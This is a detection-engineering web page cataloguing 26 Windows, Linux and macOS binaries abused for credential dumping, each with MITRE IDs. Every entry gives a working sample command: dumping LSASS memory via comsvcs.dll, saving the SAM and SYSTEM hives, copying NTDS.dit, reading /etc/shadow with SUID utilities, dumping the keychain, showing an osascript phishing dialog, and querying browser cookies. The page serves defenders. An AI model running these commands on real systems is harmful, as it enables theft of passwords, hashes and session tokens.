Credential DumpTactic: Credential Access (TA0006)26 Verified Binaries

Credential Dumping LOLBins & Memory Extraction Tools

Adversaries abuse built-in utilities to extract sensitive plaintext credentials, Kerberos tickets, and password hashes from operating system memory (LSASS) or local configuration stores.

Detection Engineering Context

Utilities like procdump.exe, comsvcs.dll, taskmgr.exe, or osascript are weaponized to create memory dumps of lsass.exe or phish user credentials via native modal prompts.

Key Log Telemetry: Sysmon Event ID 10 (ProcessAccess to lsass.exe) with PROCESS_VM_READ permissions, and file creation in %TEMP% with .dmp extension.
Total Capable Binaries: 26
Windows: 16
Linux: 7
macOS: 3

Catalog of Credential Dump LOLBins

Displaying 26 items
Windows1 weaponized tactics

Cmdkey.exe

creates, lists, and deletes stored user names and passwords or credentials.

Sample Vector:
cmdkey /list
T1078
Windows1 weaponized tactics

Diskshadow.exe

Diskshadow.exe is a tool that exposes the functionality offered by the volume shadow copy Service (VSS).

Sample Vector:
diskshadow.exe /s {PATH:.txt}
T1003.003T1202
Windows1 weaponized tactics

Findstr.exe

Write to ADS, discover, or download files with Findstr.exe

Sample Vector:
findstr /S /I cpassword \\sysvol\policies\*.xml
T1564.004T1552.001T1105
Windows3 weaponized tactics

rdrleakdiag.exe

Microsoft Windows resource leak diagnostic tool

Sample Vector:
rdrleakdiag.exe /p 940 /o {PATH_ABSOLUTE:folder} /fullmemdmp /wait 1
T1003T1003.001
Windows1 weaponized tactics

Reg.exe

Used to manipulate the registry

Sample Vector:
reg save HKLM\SECURITY {PATH_ABSOLUTE:.1.bak} && reg save HKLM\SYSTEM {PATH_ABSOLUTE:.2.bak} && reg save HKLM\SAM {PATH_ABSOLUTE:.3.bak}
T1564.004T1003.002
Windows2 weaponized tactics

Rpcping.exe

Used to verify rpc connection

Sample Vector:
rpcping -s 127.0.0.1 -e 1234 -a privacy -u NTLM
T1003T1187
Windows1 weaponized tactics

Tttracer.exe

Used by Windows 1809 and newer to Debug Time Travel

Sample Vector:
TTTracer.exe -dumpFull -attach {PID}
T1127T1003
Windows2 weaponized tactics

wbadmin.exe

Windows Backup Administration utility

Sample Vector:
wbadmin start backup -backupTarget:{PATH_ABSOLUTE:folder} -include:C:\Windows\NTDS\NTDS.dit,C:\Windows\System32\config\SYSTEM -quiet
T1003.003
Windows1 weaponized tactics

Comsvcs.dll

COM+ Services

Sample Vector:
rundll32 C:\windows\system32\comsvcs.dll MiniDump {LSASS_PID} dump.bin full
T1003.001
Windows2 weaponized tactics

adplus.exe

Debugging tool included with Windows Debugging Tools

Sample Vector:
adplus.exe -hang -pn lsass.exe -o {PATH_ABSOLUTE:folder} -quiet
T1003.001T1127
Windows1 weaponized tactics

Createdump.exe

Microsoft .NET Runtime Crash Dump Generator (included in .NET Core)

Sample Vector:
createdump.exe -n -f {PATH:.dmp} {PID}
T1003
Windows5 weaponized tactics

dsdbutil.exe

Dsdbutil is a command-line tool that is built into Windows Server. It is available if you have the AD LDS server role installed. Can be used as a command line utility to export Active Directory.

Sample Vector:
dsdbutil.exe "activate instance ntds" "snapshot" "create" "quit" "quit"
T1003.003
Windows1 weaponized tactics

Dump64.exe

Memory dump tool that comes with Microsoft Visual Studio

Sample Vector:
dump64.exe {PID} out.dmp
T1003.001
Windows1 weaponized tactics

DumpMinitool.exe

Dump tool part Visual Studio 2022

Sample Vector:
DumpMinitool.exe --file {PATH_ABSOLUTE} --processId 1132 --dumpType Full
T1003.001
Windows1 weaponized tactics

ntdsutil.exe

Command line utility used to export Active Directory.

Sample Vector:
ntdsutil.exe "ac i ntds" "ifm" "create full c:\" q q
T1003.003
Windows2 weaponized tactics

Sqldumper.exe

Debugging utility included with Microsoft SQL.

Sample Vector:
sqldumper.exe 464 0 0x0110
T1003T1003.001
Linux1 weaponized tactics

dd

Dd converts and copies raw files and disks. Attackers abuse SUID dd to read raw partitions, memory dumps, or extract protected shadow files.

Sample Vector:
dd if=/etc/shadow of=/tmp/shadow.bak
T1005
Linux1 weaponized tactics

head

Head outputs the beginning of files. SUID head allows unauthorized users to read the initial lines of protected files like /etc/shadow or root SSH private keys.

Sample Vector:
head -n 50 /etc/shadow
T1005
Linux1 weaponized tactics

tail

Tail outputs the last part of files. SUID tail allows standard users to read protected credentials, tokens, and audit log entries.

Sample Vector:
tail -n +1 /etc/shadow
T1005
Linux1 weaponized tactics

nl

Nl numbers lines from files. SUID nl enables unauthorized reading of sensitive files.

Sample Vector:
nl -ba /etc/shadow
T1005
Linux1 weaponized tactics

grep

Grep searches for patterns in text files. When given SUID permissions, grep can extract passwords, hashes, and tokens from restricted files.

Sample Vector:
grep "" /etc/shadow
T1005
Linux1 weaponized tactics

sed

Sed is a stream editor for filtering and transforming text. SUID sed allows reading sensitive files or modifying configuration entries.

Sample Vector:
sed -e '' /etc/shadow
T1005
Linux1 weaponized tactics

date

Date displays or sets system date and time. SUID date can be abused with the -f parameter to read files line-by-line via error messages.

Sample Vector:
date -f /etc/shadow
T1005
macOS1 weaponized tactics

osascript

Osascript executes Open Scripting Architecture (OSA) scripts such as AppleScript and JavaScript for Automation (JXA). Widely used in macOS malware to display convincing phishing dialogs, harvest credentials, control System Events, and execute shell commands.

Sample Vector:
osascript -e 'display dialog "System Update requires your password to continue:" default answer "" with hidden answer with icon caution'
T1059.002T1003
macOS1 weaponized tactics

security

Security administers macOS Keychains, keys, certificates, and the Security framework. Attackers use it to dump user passwords, export certificates, or harvest plain-text credentials.

Sample Vector:
security dump-keychain -d login.keychain
T1555.001
macOS1 weaponized tactics

sqlite3

Sqlite3 queries SQLite databases. Attackers use it to query Chrome and Safari cookies, browsing history, and notes databases without launching browsers.

Sample Vector:
sqlite3 ~/Library/Application\ Support/Google/Chrome/Default/Cookies "SELECT host_key, name, encrypted_value FROM cookies"
T1539T1005
Sharon Ben Moshe
Curated & Verified by
Sharon Ben Moshe
Cybersecurity Researcher & Detection EngineerCheck Point